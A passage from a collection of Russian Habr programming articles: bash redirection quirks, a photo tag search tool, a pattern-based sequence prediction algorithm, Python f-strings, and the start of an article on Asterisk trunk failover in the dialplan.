command git show . > $((i++)).txt
# Не инкрементирует
\git show . > $((i++)).txt
```
Чтобы избежать этой путаницы, обратите внимание на совет *ShellCheck*, и если при перенаправлении переменная является частью имени файла, то просто увеличивайте ее отдельно:
```
anything > "$((i++)).txt"
: $((i++))
```
Выражаю благодарность Strolls из *#bash@Freenode* за то, что указал на это поведение.
P.S. В процессе подготовки материала для статьи я выяснил, что *dash* всегда производит увеличение (хоть и с помощью `$((i=i+1)`), так как не поддерживает `++`). ShellCheck v0.7.1 по-прежнему делает предупреждение, а код из master-ветки этого уже не делает.
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=Bright_Translate&utm_campaign=neozhidannye_podvoxi_pri_perenapravleniyax_obolochki_v_%24_) | https://habr.com/ru/post/554580/ | null | ru | null |
# Поиск файлов по тэгам в XMP / IPTC и операции с найденным
Сначала может показаться, что пост о «ещё одном медиаплеере», и вот уже паникующий хабровчанин бежит с выпученными глазами прочь, кидаясь минусами в людей, животных и программистов. Ну, в общем и целом, да, пост примерно об этом. Но. Есть, на мой взгляд, одно весомое Но, о котором ниже.
[](https://habrahabr.ru/post/339642/)
Все любят фотографировать котиков. Да. Утверждаю. Некоторые даже составляют с ними фотоальбомы. Ещё кое-кто даже заморачивается тэггированием этих фоточек. А совсем уже упоротые один-два раза в жизни по этим тэгам эти фоточки ищут.
Мой случай совсем плохой. Таки да, я очень люблю фотографировать, и далеко не только котиков. Посему, фотографий, причём, уже только отобранных, на данный момент скопилось около 15 000. Ко всему этому, я конченый перфекционист-педант и люблю, когда всё (ну, почти всё) находится в порядке. Я тэггирую фотографии, ищу их по этим тэгам и не прочь составить несколько тематических альбомов.
И…
--
Есть множество специальных программ, работающих с метаданными. Начиная с трушной exiv2 и заканчивая различными просмотрщиками и огромными комбайнами с преферансом и комбайнёрами. Какие-то программы просто показывают котиков, какие-то позволяют лепить на этих котиков тэги, какие-то — искать этих котиков по этим тэгам, какие-то — также эти тэги редактировать, а какие-то организуют котиков в альбомчики.
Но. Я не нашёл (хотя, возможно, плохо искал) ни одного решения, которое не только предоставляло бы все эти возможности, но и логически их связывало. Можно найти фотки по тэгам, но нельзя пакетно эти тэги редактировать по тем или иным критериям. Или можно добавить список тэгов фоткам в каком-нибудь каталоге, но всем сразу и безапелляционно. Есть куча «органайзеров», но как правило, со своим собственным велосипедным способом организации фотографий, а не хоть сколь-нибудь универсальным и штатным. Не говоря уже о связанных критериях отбора.
Пилим
-----
В общем, в этом зоопарке мне стало грустно, и я решил наваять что-то своё. С комбайнёрами, естественно. Сначала на своём любимом Perl-е. Ну, вот есть у меня такой пунктик. Но, повторюсь, только сначала. Потом я — та-дам! — переписал прогу на C. Но обо всём подробнее ниже, а пока — сразу ссылки:
* [Гитхаб с C-версией](https://github.com/assador/ds-findbytags)
* [Гитхаб с Perl-версией](https://github.com/assador/ds-utils/blob/master/ds-findbytags)
* [Страница с кратким описанием и синтаксисом](https://assador.website/programs/ds-utils/ds-findbytags)
Что получилось, и как с этим жить
---------------------------------
Итак, что можно делать с этими несчастными тэгами? В общем-то, добавлять, удалять, менять и сравнивать (поиск по сути и есть сравнение с шаблоном). Причём, сравнение может быть довольно сложным.
### Поиск
Многие программы позволяют искать файлы по тэгам с логическими **И**, **ИЛИ** и **НЕ**. Но, опять же, может плохо искал, но обычно поиск возможен либо только с **И**, либо только с **ИЛИ**, либо только с **НЕ**. А у меня вот почему-то появляется иногда навязчивая идея найти все фотографии с человеками на природе, кои учиняют либо трэш, либо угар, но при этом не в рамках фестиваля. Итого, условие: **(человеки И природа) И (трэш ИЛИ угар) И (НЕ фестиваль)**. Поля ввода в программу добавлены, функционал реализован, фотографии находятся корректно.
### Результаты поиска
Кстати, находятся «куда»? Программа, найдя фотографии, удовлетворяющие условиям, создаёт в каталоге, в котором запущена, временный подкаталог со случайным абракадабрным именем, куда и складирует символические ссылки на найденные фотки, с абракадабрными же именами. Потом открывается просмотрщик, которому передаётся в качестве аргумента путь к этому подкаталогу. Какой просмотрщик? Я люблю “Geeqie”, так что по умолчанию открывается он. Но в ключе **`-l`** программы можно указать любой другой, либо “**`no`**”, означающее, что не надо вообще ничего открывать. После длительного любования найденными фотошедеврами и закрытия просмотрщика временный подкаталог со ссылками удаляется (если не указано обратное, об этом ниже).
### Редактирование
Отлично. А что насчёт добавления, удаления и замены? Так называемого типичного случая редактирования тэгов. С самим редактированием проблем нет; в программу добавлены поля ввода «**Добавить тэги**», «**Удалить тэги**» и «**Заменить тэги**». Но вот тэги чего редактировать? Не напрашивается ли идея о возможности редактировать тэги файлов, найденных, собственно, по своим тэгам?
Итак, найдя кучу фотографий человеков на природе, кои учиняют либо трэш, либо угар, но при этом не в рамках фестиваля, я с ужасом обнаружил в этой куче множество фотографий с собой любимым. Причём, учиняющим, как правило, трэш, а не угар. Какие могут быть решения проблемы? Первое — не учинять трэша и угара. Не пойдёт. Второе — подредактировать тэги.
Итак, задаём новый поиск по фотографиям с теми же самыми условиями, но с добавленным в поле «**И**» тэгом «**я любимый**». Теперь, если нажать на кнопочку «**Начать**», найдётся часть (причём, к сожалению, бо́льшая) всего того найденного ранее безобразия. Но перед этим в поле «**Добавить тэги**» введём два тэга: **[опоён во сне интервентами, не показывать жене]** (вообще, в полях тэги разделяются запятыми, поскольку в самих тэгах вполне могут присутствовать пробелы). Также, в поле «**Удалить тэги**» введём **[человеки]**, а в поле «**Заменить тэги**» — **[трэш, забавы, угар, праздник]** (в поле «**Заменить тэги**» они вводятся попарно: «**трэш**» заменится на «**забавы**», а «**угар**» на «**праздник**»).
Всё. Жмакаем кнопочку «**Начать**», и фотографии приобретают ну хоть какие-то оправдательно-смягчительные признаки. Ну и полезные. Можно потом составлять семейные альбомы, отбирая при поиске фотки с тэгом «**не показывать жене**», введённым в поле «**И**».
### Организация
И вот, кстати, об альбомах. По сути, сам принцип составления альбомов у нас уже есть — логический поиск по тэгам. Осталось реализовать, собственно, организацию найденных фоток в «альбомы». И тут я подумал: я люблю велосипеды, но мотоциклы времён второй мировой люблю больше. Не проще ли просто сохранять в определённые каталоги символические ссылки на найденные фотографии? Проще. Что и сделано.
Для сохранения ссылок надо поставить галку «**Сохранять ссылки в:**», выбрать рядом нужный каталог и по желанию поставить галку «**Сохранять имена**». С сохранением имён нужно быть осторожным. Если вы уверены, что все имена файлов фотографий у вас уникальные (например, по времени съёмки, как у меня), то это имеет смысл — символические ссылки будут иметь те же имена, что и оригинальные файлы. А вот, если имена файлов могут повторяться, то, очевидно, галку ставить не стоит.
После отрабатывания программы, любования фотками в просмотрщике и его закрытия, каталог с символьными ссылками не удаляется, а остаётся для потомков.
### Дерево тэгов
Ну и до кучи, чтобы не держать в голове все придуманные и проставленные в своё время тэги, я прикрутил справа их дерево. Я уже писал, что люблю “Geeqie”, так что, звиняйте, но это дерево формируется из Geeqie-евского XML-файла с настройками, в котором, в том числе, хранится дерево созданных в программе тэгов. По умолчанию программа ищет этот файл здесь: **`~/.config/geeqie/geeqierc.xml`**, но с ключом **`-t`** программы можно задать путь к своему собственному XML-файлу дерева тэгов. Единственное что — это дерево в нём должно быть описано по правилам Geeqie-евского конфига.
Немного о реализациях
---------------------
Программа может работать как в CLI-интерфейсе (по умолчанию), так и в GUI — GTK+ 2 (если указан ключ **`-g`**). В зависимостях — exiv2. Плюс, для C-версии — libxml2-dev. Ну и для GUI, ясен пень, gtk2.
С Perl-версией, надеюсь, всё понятно — просто запускаешь перловый скрипт с нужными ключами и радуешься. Perl-версия только на русском.
C-версия на английском с русской локализацией. Работает раза в два c половиной быстрее перловой версии, и отъедает раза в полтора меньше памяти. C-версию нужно компилировать и, по желанию, устанавливать. Всё, как обычно:
### Установка
```
cd ~/sources (ну или где вы обычно храните сорцы)
git clone https://github.com/assador/ds-findbytags.git
cd ds-findbytags
make
sudo make install
```
### Обновление
Заходите в тот же каталог с сорцами проги:
```
cd ~/sources/ds-findbytags
git pull
make
sudo make install
```
### Удаление из системы
Не удаление сорцов, а uninstall. Заходите в тот же каталог с сорцами проги:
```
cd ~/sources/ds-findbytags
sudo make uninstall
```
Правило **`install`** делает самую малость: копирует бинарник **`ds-findbytags`** в **`/usr/local/bin/`** и файл русской локализации **`ds-findbytags.mo`** в **`/usr/share/locale/ru/LC_MESSAGES/`**. Правило **`uninstall`** их оттуда, собственно, удаляет. Всё.
Работает под никсами. На других платформах пока не проверял, но особых проблем быть, вроде, не должно (при условии, конечно, установленной GTK+ 2 и некоторого допиливания).
В общем, вот. Я доволен и полон желания поделиться сим свободным программным обеспечением (GNU GPL v3), прости Господи, с миром, заодно очень надеясь на конструктивную критику, комментарии и, чем чёрт ни шутит, форки и/или участие в проекте. | https://habr.com/ru/post/339642/ | null | ru | null |
# Прогнозирование
Я уже писал, зачем нужно такое прогнозирование — [Создание искусственного интеллекта](https://geektimes.ru/post/247572/).
Здесь же я буду описывать только алгоритм прогнозирования, без лишней лирики.
Рассматривать буду прогнозирование последовательности байтов или же текста UTF-8. Прогнозирование последовательности дробных чисел — графиков — во многом подобно, только нужно значения сравнивать не на равенство, а на принадлежность окрестностям.
Пусть будет поток байтов (или скажем текст UTF-8) — входящие прогнозируемые данные. Поступающие данные сохраняем во множество сохраненной истории. Каждое очередное поступающее значение учитываем в структуре для накопления статистики:
```
struct Stat {
uint value; // прогнозируемое значение
uint count; // количество прошедших таких значений
// функция index используется шаблонным классом Index - ключ для rb-дерева
static uint index(const Stat& s) { return s.value; }
Ptrn* owner;
double probability() const { return (double)count/(double)owner->sum_count_of_stat; }
};
// шаблонный класс Index это rb-дерево,
// первый параметр шаблона — тип значения по которому происходит сортировка,
// второй, это класс сохраняемых значений в узлах. Этот класс должен содержать
// функцию index.
struct Ptrn {
// узел, подсчитывающий, какое распределение вероятностей будет
// следовать за значением value
uint value;
Index index\_of\_stat; // распределение вероятностей
uint sum\_count\_of\_stat;
// путем добавления к текущему value еще влево
// будут образовываться паттерны
Index index\_of\_prev;
static uint index(const Ptrn& s) { return s.value; }
Ptrn\* owner; // owner->index\_of\_prev->find(value) == this,
// для root этот owner равен nullptr
};
Ptrn root;
```
В узле root считаем статистику всех прошедших значений. Вероятность каждого из значений будет количество этого значения делить на количество всех значений. Сумма вероятностей Stat находящихся в root равна единице — распределение вероятностей значений во входящем потоке. Выбрав Stat из root с наибольшей вероятностью, получаем первый прогноз — очередной символ на входе в наш алгоритм скорее всего будет именно этот, с вероятностью посчитанной в этом узле Stat.
Поступает на вход очередное значение. Его сначала добавим в статистику узла root. После, для сохраненного входящего значения предыдущего шага, находим или создаем в root в index\_of\_prev узел Ptrn соответствующий предыдущему значению, и в этот узел так же добавляем в статистику текущее значение.
Узел root будем называть нулевым уровнем прогнозирования. Множество index\_of\_prev в root будем называть первым уровнем прогнозирования.
Первый уровень содержит более точные прогнозы, чем нулевой — вероятности прогнозирования значений, при условии что предыдущее значение было таким-то. Но сумма вероятностей в каждом узле все равно остается единицей.
Когда в каком-либо узле первого уровня накапливается достаточно статистики, что бы можно было утверждать, что дальнейшее накопление в этом узле не приведет к сильному изменению распределения прогноза, то этот узел дает ветви в index\_of\_prev — для этого узла создается второй уровень. По сохраненной истории сразу считаем статистику для этих ветвей, для тех, которые уже прошли и были сохранены в истории.
И так будем ветвить от root через index\_of\_prev. Каждый Ptrn идентифицирует паттерн — цепочка последовательных значений складываемая от текущего Ptrn до root через свойство owner, и распределение вероятностей значений прогноза следующего за этим паттерном.
Чем длинее паттерн, тем больше определенности, что именно за ним последует. Но чем длиннее паттерн, тем реже он встречается, и может не набраться достаточно статистики по конкретному паттерну. Т.е. какой-то паттерн в накопленной истории встретился всего три раза — вряд ли замер из трех случаев будет показательным, какое значение последует за ним, и нужно использовать более короткий паттерн, имеющий большую определенность, но более размытое распределение прогноза, пока более длинный не накопит достаточно статистики.
Некоторые паттерны, которые имеют уже достаточную статистику, они имеют точный прогноз — из ста случаев нахождения этого паттерна, за ним всегда следовало одно и то же значение. Для таких паттернов не нужно строить более длинные паттерны — для более длинных результат распределения будет такой же. Хотя при детальном рассмотрении последующих усложнений, такие ветви все же понадобятся.
Дальше оговорюсь, что я в этом описании опускаю многие детали, которые только усложнят описание, и будут мешать формулированию общей сути. Одна из таких деталей, что точный прогноз скажем сто из ста случаев, является на самом деле не точным, а приближенным — стопроцентных вероятностей в прогнозировании не бывает. И в процессе дальнейшего накопления статистики по этому паттерну когда-нибудь все равно встретится отличное значение. Пока считаем, что он не будет меняться.
Разделим накопленные статистики на определившиеся и не определившиеся. Скажем, если sum\_count\_of\_stat в Ptrn становится больше ста, то его начинаем считать определившимся, и по нему начинаем считать подветви index\_of\_prev. (Хотя не для всех случаев необходимо накапливать до ста).
Те, которые определившиеся, разделим на точные (с точным прогнозом), и не точные.
В общем, накапливаем дерево паттернов, и подсчитываем прогнозы для ситуаций которые они идентифицируют.
Теперь будем считать подобия прогноза. Для тех паттернов, для которых из-за недостаточности или отсутствия статистики не можем определить прогноз, но по каким-либо признакам, можем определить, что его прогноз будет подобен прогнозу другого паттерна, который уже определен, и будем брать прогноз из подобного.
У каждого определившегося паттерна есть множество подветвей в index\_of\_prev. Что бы понимать, что такое подветвь, вот алгоритм ее получения от паттерна:
```
// к паттерну ptrn добавляем слева паттерн sub_branch,
// и если такой получающийся паттерн уже определен в дереве паттернов,
// то возвращаем его, иначе nullptr
Ptrn* get_sub_branch(Ptrn* ptrn, Ptrn* sub_branch) {
if (sub_branch->owner == nullptr) return ptrn;
Ptrn* lev = get_sub_branch(ptrn, sub_branch->owner);
if (lev == nullptr) return nullptr;
return lev->index_of_prev.find(sub_branch->value);
}
```
Можно группировать паттерны в группы по подобию их ветвей. Другими словами классифицировать множество накопленных паттернов.
Но подобие должно быть не наличия подветвей, а распределения прогноза в них. Т.е. если считаем для двух паттернов подобие их подветвей, то считаем как коррелирует распределение прогноза среди подветвей, которые у этих паттернов общие.
Если накопили некую группу паттернов, для которых некая часть подветвей у них подобна по прогнозу, то для всякого нового паттерна, для которого убедились, что он входит в эту группу, для всех его подветвей, в том числе еще недоопределенных, прогнозы будут подобны тем, что в группе.
Обращаю внимание, что подобна лишь часть подветвей. Так, что бы было подобно все множество подветвей — это очень редкий случай подобия.
Как определяем для новых паттернов, для которых статистика по подветвям еще не определилась, что они принадлежат ли какой-либо группе:
Если у паттерна определились хотя бы парочка подветвей, по которым считалось подобие в группе принадлежность к которой тестируем, и эта пара подветвей подобна по прогнозу тем, что в группе, то смотрим, достаточно ли этих двух подветвей что бы идентифицировать принадлежность этой группе.
Для этого находим все паттерны, для которых именно эти две подветви подобны. И для всех найденных паттернов, смотрим, все ли они принадлежат тестируемой группе. Если какие-то из найденных не принадлежат группе, по причине, что какая-то их подветвь не подобна соответствующей подветви в группе, и у этого не принадлежного, эта подветвь имеет определившуюся статистику, то значит тех двух определившихся подветвей недостаточно для однозначной идентификации принадлежности к группе.
В каких-то случаях будет достаточно двух идентификационных подветвей, в каких-то трех или более.
Дальше можно было бы описывать, какими формулами и алгоритмами считать эти подобия, но скажу сразу, что решать эту задачу в лоб, в том виде как я ее описал выше — невозможно из-за большого количества расчетов.
И поэтому будем считать только наиболее значимую часть — сравнивать подобия только по ветвям с точным прогнозом. Если у двух паттернов, есть одинаковая подветвь, в обоих случаях у них точный прогноз (т.е. распределение состоит из одного значения), и этот прогноз равен, то эти ветви подобны. Если в одном из случаев прогноз не точен, то ветви не подобны. Т.е. ноль или один. Случаи, где оба прогноза не точны, не рассматриваем, т.к. группировать будем в группы с точным прогнозом, а все прочие отбрасывать.
Для каждого нового паттерна, когда его прогноз становится определенным, и если он точен, то включаем его в группу Group, в объект postfix\_root (этот класс отделен, потому что чуть позже это будет деревом):
```
struct Postfix {
List list\_of\_ptrn; // сюда добавляется паттерн с точным прогнозом
uint count\_on\_prev\_calc\_similarity;
// это для алгоритма ветвления — чуть позже
uint value; // значение откушенного постфикса
Index index\_of\_next;
static uint index(const Postfix& s) { return s.value; }
Postfix\* owner; // для postfix\_root это равно nullptr
};
struct Group {
uint value; // значение точного прогноза
Postfix postfix\_root;
static uint index(const Group& s) { return s.value; }
};
Index index\_of\_groups;
```
При накоплении в группе некого минимального количества паттернов, скажем сто штук, будем запускать алгоритм пересчета подобий (про который дальше). А так же, при дальнейшем накоплении паттернов в группе, при достижении количества в два раза большего, чем было при прошлом расчете (сохраняем в count\_on\_prev\_calc\_similarity), так же запускаем пересчет.
Из чего состоит алгоритм поиска подобий.
Вот в одной из групп в postfix\_root накопилось множество паттернов — для них для всех прогноз точен и одинаков. Из postfix\_root создаем следующий уровень Postfix — для каждого паттерна, берем его крайнее левое значение, и по нему создаем в postfix\_root->index\_of\_next соответствующий Postfix, в который добавляем тот паттерн, от которого взяли крайний левый символ. Только добавляем без этого левого символа.
Получилось, что расщепили множество list\_of\_ptrn на подмножества, по крайнему левому значению, убрав из новых множеств это левое значение. И так рекурсивно расщепляем все, для которых в образовывающихся Postfix количество list\_of\_ptrn больше ста. Паттерны в этих множествах при этом от уровня к уровню становятся меньше — отщепляются крайние левые, и если паттер уперся в root — длина после откусываний стала нулевой, то такой паттерн на следующий уровень не пойдет.
Тем самым получаем, сгруппированные множества паттернов, для которых хотя бы одна ветвь подобна.
Дальше, для каждого множества в Postfix, от получившегося множества, начинаем сканировать возможные ветви от паттернов, по всем, за исключением той ветви, по которой был получен обратным ходом от Group текущий Postfix. Перебираем ветви виртуального дерева, состоящего из объединения ветвей входящих во множество паттернов:
```
struct ScanItem {
Ptrn* ptrn_of_postfix; // исходный взятый из postfix паттерн
Ptrn* ptrn_of_scan; // а это образованный от исходного добавлением сканируемого
};
struct Scan {
uint value;
List list\_of\_items;
Index index\_of\_next;
static uint index(const Scan& s) { return s.value; }
Scan\* owner;
};
// в класс Postfix добавляем объект:
Scan scan\_root;
```
Получающиеся множества паттернов при этом группируем по их прогнозу — если у них есть точный прогноз, и тогда подгруппа сгруппированная по точному прогнозу от множества в Postfix это будет множество паттернов, имеющих уже две подобные ветви.
Дальше, от множества паттернов с двумя подобными ветвями, дальше сканируем и расщепляем на подмножества с тремя, четырьмя, и т.д. подобными. Причем, в момент, когда найденное количество ветвей подобий становится достаточным для идентификации, то дальше множество уже не будет расщепляться, а новые находимые ветви подобий будут скорее подтверждаться для всего оставшегося множества.
Общая схема получилась такой:
Было одно большое множество всех паттернов, из них выделили множество имеющих точный прогноз, разделили на подмножества по значению прогноза, после разделяем по первой ветви подобия и оставшемуся откусанному паттерну, и это множество паттернов, с одной подобной ветвью начинаем сканировать и делить на прочие подобные ветви.
При сканировании могут находится дубли — сначала обратным ходом прошли по ветви А, а после при сканировании получили Б. Затем, обратным ходом начали от Б, и пришли к А. Дублирования сканировать нет смысла и их нужно отсекать.
До этого описывал подобия для прогноза следующего непосредственно за группой и назвал это отсечением постфиксов. Теперь нужен такой же принцип, но отсекаться будет префикс.
Зачем это: это будет искать группы паттернов, для которых прогноз одинаков. Он может быть разным для разных префиксов, но в пределах одного он одинаков. И если для такой группы нашли новый префикс, для которого удостоверились по признакам идентификации, что он работает, то уже не обязательно дожидаться определившейся статистики для всей группы. Приводить описание класса и алгоритма не буду, достаточно сказать, что симметричен поиску постфиксов.
Когда мы искали постфиксы, мы выводили дистанции на которых действует одна и та же функция: паттерн Х однозначно отображался на прогноз У для всех дистанций в группе. Когда мы ищем префиксы, мы ищем подобия не дистанций, а значений — множество значений, для которых прогноз одинаков.
Когда мы находим очередное отображение Х→У по постфиксам, то в результате накапливаются типизированные множества Х и У. Способ вывода границ значений этих множеств, которые не прилегают к дистанции, пока еще под вопросом. И пока скажу без него. Среди множеств находимых функций, некоторые будут иметь одинаковое множество Х. Тогда значение Х становится объектом, имеющим несколько свойств — каждая функция это отдельное свойство. При этом подобные дистанции для получения какой-либо из этих функций становятся способами получения свойств этого объекта. По сути, это есть базовый принцип преобразования текста (или другого типа информации) в базу данных — в таблички с их свойствами.
Прогнозировать можно не только значение, но и группу значений (группу подобных дистанций или подобных значений). Т.е. до этого прогнозом было значение входящего потока. Когда алгоритм поглотил и отнес это значение к какой-либо группе, то дальше мы можем составить статистику аналогичную прогнозированию значения, является ли анализируемое значение элементом группы. И тогда, для новых поступающих значений, мы заранее не накапливая по ним вообще никакой статистики, можем отнести их к группе и использовать. На таком принципе происходит в мозгу идентификация новых слов в тексте — по окружению мы вычисляем, это существительное, или это прилагательное, и прочие разные свойства — при том, что само слово видим в первый раз.
Еще могу упомянуть, что постфикс и префикс у групп не являются строго либо то, либо другое. При сканировании подобий более полным будет алгоритм, который перебирает их вместе — с каждым постфиксом проверять все префиксы, и наоборот, с каждым префиксом все постфиксы. И при обратном и при прямом сканировании.
Описанные принципы, это лишь кусочек от полной картины, какие подобия нужно искать:
Нужно сделать сканирование последовательно нескольких групп подобий — когда группы подобий располагаются в сканируемых ветвях текущей тестируемой группы — тут свои правила суммирования множеств. А так же сканирование вложенных групп.
Нужно сделать квантификаторные множества — определение значений не по конкретному запомненному паттерну, а запоминаем шаблон, что-то вроде регулярного выражения.
Нужно сделать, что бы сканер ветвей мог переходить не от символа к символу, а по разметкам групп, и при этом не обязательно только в одном направлении, а скажем прыгаем через группу, разворачиваемся, и начинаем сканировать элемент группы посимвольно но с другого конца.
Потом еще работа со множествами, на предмет непрерывностей и упорядочивания.
И т.д и т.п….
И наверняка есть еще куча свойств, про которые я не задумывался.
PS: исходники по этой теме, а так же дальнейшие описания будут располагать на сайте указанном в профиле. | https://habr.com/ru/post/367881/ | null | ru | null |
# F-строки в Python мощнее, чем можно подумать
Форматированные строковые литералы, которые ещё называют f-строками (f-strings), появились довольно давно, в Python 3.6. Поэтому все знают о том, что это такое, и о том, как ими пользоваться. Правда, f-строки обладают кое-какими полезными возможностями, некоторыми особенностями, о которых кто-нибудь может и не знать. Разберёмся с некоторыми интересными возможностями f-строк, которые могут оказаться очень кстати в повседневной работе Python-программиста.
### Форматирование даты и времени
Форматирование чисел средствами f-строк — это обычное дело. А вы знали, что с их помощью можно ещё форматировать значения, представляющие даты и временные метки?
```
import datetime
today = datetime.datetime.today()
print(f"{today:%Y-%m-%d}")
# 2022-03-11
print(f"{today:%Y}")
# 2022
```
С помощью f-строк можно форматировать дату и время так, как если бы для этого использовался бы метод `datetime.strftime`. Это особенно приятно, когда понимаешь, что тут имеется больше возможностей форматирования значений, чем те немногие, которые упомянуты в документации. Так, Python-метод `strftime` поддерживает, кроме прочего, все способы форматирования значений, поддерживаемые его базовой реализацией на C. Эти возможности могут зависеть от платформы, именно поэтому в документации они не упоминаются. Но получается, что этими возможностями по форматированию значений, всё равно, можно воспользоваться. Например, можно применить спецификатор формата `%F`, являющийся эквивалентом `%Y-%m-%d`, или спецификатор `%T`, аналогичный `%H:%M:%S`. Стоит ещё упомянуть и о спецификаторах формата `%x` и `%X`, представляющих собой, соответственно, принятые в используемом языковом стандарте способы представления даты и времени. Использование этих возможностей форматирования значений, конечно, не ограничивается только f-строками. Полный список спецификаторов формата даты и времени можно найти в [Linux-справке по strftime](https://manpages.debian.org/bullseye/manpages-dev/strftime.3.en.html).
### Имена переменных и отладка
Функционал f-строк сравнительно недавно (начиная с Python 3.8) дополнен возможностями по выводу имён переменных вместе с их значениями:
```
x = 10
y = 25
print(f"x = {x}, y = {y}")
# x = 10, y = 25
print(f"{x = }, {y = }") # Лучше! (3.8+)
# x = 10, y = 25
print(f"{x = :.3f}")
# x = 10.000
```
Эта возможность называется «отладкой» («debugging»), её можно применять вместе с другими модификаторами. Она, кроме того, сохраняет пробелы, поэтому при обработке конструкций вида `f»{x = }»` и `f»{x=}»` получатся разные строки.
### Методы \_\_repr\_\_ и \_\_str\_\_
Для формирования строковых представлений экземпляров классов по умолчанию используется метод `__str__`. Но если вместо этого метода нужно применить метод `__repr__` — можно воспользоваться флагом преобразования `!r`:
```
class User:
def __init__(self, first_name, last_name):
self.first_name = first_name
self.last_name = last_name
def __str__(self):
return f"{self.first_name} {self.last_name}"
def __repr__(self):
return f"User's name is: {self.first_name} {self.last_name}"
user = User("John", "Doe")
print(f"{user}")
# John Doe
print(f"{user!r}")
# User's name is: John Doe
```
Тут, внутри f-строки, можно было бы просто вызвать `repr(some_var)`, но использование флага преобразования — это образец приятного стандартного и краткого решения подобной задачи.
### Отличная производительность
За некие мощные возможности чего-либо и за «синтаксический сахар» часто приходится платить производительностью. Но в случае с f-строками это не так:
```
# python -m timeit -s 'x, y = "Hello", "World"' 'f"{x} {y}"'
from string import Template
x, y = "Hello", "World"
print(f"{x} {y}") # 39.6 nsec per loop - Быстро!
print(x + " " + y) # 43.5 nsec per loop
print(" ".join((x, y))) # 58.1 nsec per loop
print("%s %s" % (x, y)) # 103 nsec per loop
print("{} {}".format(x, y)) # 141 nsec per loop
print(Template("$x $y").substitute(x=x, y=y)) # 1.24 usec per loop - Медленно!
```
Вышеприведённый код протестирован с помощью модуля `timeit` (`python -m timeit -s 'x, y = «Hello», «World»' 'f»{x} {y}»'`). Как видите, f-строки оказались самым быстрым из всех механизмов форматирования данных, которые даёт нам Python. Поэтому, даже если вы предпочитаете пользоваться другими средствами форматирования строк, рассмотреть возможность перехода на f-строки стоит хотя бы ради повышения производительности.
### Вся сила мини-языка спецификаций форматирования
F-строки поддерживают [мини-язык спецификаций форматирования](https://docs.python.org/3/library/string.html#formatspec) Python. Поэтому в модификаторы, используемые в f-строках, можно внедрить множество операций форматирования данных:
```
text = "hello world"
# Центрирование текста:
print(f"{text:^15}")
# ' hello world '
number = 1234567890
# Установка разделителя групп разрядов
print(f"{number:,}")
# 1,234,567,890
number = 123
# Добавление начальных нулей
print(f"{number:08}")
# 00000123
```
Мини-язык форматирования Python включает в себя гораздо больше, чем конструкции, рассчитанные на форматирование чисел и дат. Этот язык, кроме прочего, позволяет выравнивать или центрировать текст, добавлять к строкам начальные нули или пробелы, задавать разделители групп разрядов. Всем этим, конечно, можно пользоваться не только в f-строках, но и при применении других способов форматирования данных.
### Вложенные f-строки
Если чьи-то нужды по форматированию данных не удаётся удовлетворить с помощью простых f-строк, можно прибегнуть к f-строкам, вложенным друг в друга:
```
number = 254.3463
print(f"{f'${number:.3f}':>10s}")
# ' $254.346'
```
Одни f-строки можно встраивать в другие f-строки, поступая так ради решения хитрых задач форматирования данных. Например — чтобы, как показано выше, добавить знак доллара к числу с плавающей точкой, выровненному по правому краю.
Вложенные f-строки могут применяться и в тех случаях, когда в спецификаторах формата нужно использовать переменные. Это, кроме прочего, способно улучшить читабельность кода с f-строками:
```
import decimal
width = 8
precision = 3
value = decimal.Decimal("42.12345")
print(f"output: {value:{width}.{precision}}")
# 'output: 42.1'
```
### Условное форматирование
Взяв за основу предыдущий пример с вложенными f-строками, можно пойти немного дальше и воспользоваться во внутренних f-строках тернарными условными операторами:
```
import decimal
value = decimal.Decimal("42.12345")
print(f'Result: {value:{"4.3" if value < 100 else "8.3"}}')
# Result: 42.1
value = decimal.Decimal("142.12345")
print(f'Result: {value:{"4.2" if value < 100 else "8.3"}}')
# Result: 142
```
Подобные конструкции могут очень быстро стать нечитабельными. Поэтому, пользуясь ими, возможно, есть смысл разделять их на несколько строк кода.
### Лямбда-выражения
Тот, кто хочет расширить границы возможностей f-строк, попутно взбесив тех, кто будет читать его код, может, приложив некоторые усилия, воспользоваться лямбда-выражениями:
```
print(f"{(lambda x: x**2)(3)}")
# 9
```
Скобки вокруг лямбда-выражения в данном случае обязательны. Это так из-за двоеточия, (`:`), которое, в противном случае, будет восприниматься системой как часть f-строки.
### Итоги
Как видите, f-строки — это, и правда, весьма мощный механизм. Они обладают гораздо большими возможностями, чем думает большинство программистов. Основная часть этих «неизвестных» возможностей, правда, описана в документации по Python. Поэтому рекомендую читать документацию, причём — не только по f-строкам, но и по другим используемым вами модулям или возможностям Python. Углубление в документацию часто помогает обнаружить какие-то очень полезные вещи, которые не найти даже зарывшись в Stack Overflow.
О, а приходите к нам работать? 🤗 💰Мы в [**wunderfund.io**](http://wunderfund.io/) занимаемся [высокочастотной алготорговлей](https://en.wikipedia.org/wiki/High-frequency_trading) с 2014 года. Высокочастотная торговля — это непрерывное соревнование лучших программистов и математиков всего мира. Присоединившись к нам, вы станете частью этой увлекательной схватки.
Мы предлагаем интересные и сложные задачи по анализу данных и low latency разработке для увлеченных исследователей и программистов. Гибкий график и никакой бюрократии, решения быстро принимаются и воплощаются в жизнь.
Сейчас мы ищем плюсовиков, питонистов, дата-инженеров и мл-рисерчеров.
[Присоединяйтесь к нашей команде.](http://wunderfund.io/#join_us) | https://habr.com/ru/post/674866/ | null | ru | null |
# Asterisk Manager Interface в диалплане
Как и все АSTERISK'еры я не раз сталкивался с проблемой того, что на PBX существует несколько транков, которые используются для исходящей связи. И как у многих, у моих заказчиков тоже часть этих транков является основными, а остальные играют роль резервных, на случай падения/занятости/чего-либо еще первых.
Стандартным механизмом решения такой проблемы считается следующий пример:
exten => \_<Че то там>,1,Dial(SIP/trunk/<Че то там>)
exten => \_<Че то там>,n,GotoIf($["${DIALSTATUS}" != «ANSWER»]?Dial\_Another\_Prov:Hangup)
exten => \_<Че то там>,n(Dial\_Another\_Prov),Dial(SIP/trunk2/<Че то там>)
exten => \_<Че то там>,n(hangup),Hangup()
Ну или вот такой пример, который впрочем лежит на просторах сети
[macro-safedial]
exten => s,1,Set(DIALSTART=${EPOCH})
exten => s,n,Dial(${ARG1},${ARG2},${ARG3},${ARG4})
exten => s,n,Goto(s-${DIALSTATUS},1)
exten => s-NOANSWER,1,GotoIf($["${DTIME}" = «0»]?here)
exten => s-NOANSWER,n,Hangup
exten => s-NOANSWER,n(here),Verbose(1,Need failover for "${ARG1}")
exten => s-BUSY,1,Busy
exten => s-CHANUNAVAIL,1,Verbose(1,Need failover for "${ARG1}")
exten => s-CONGESTION,1,Congestion
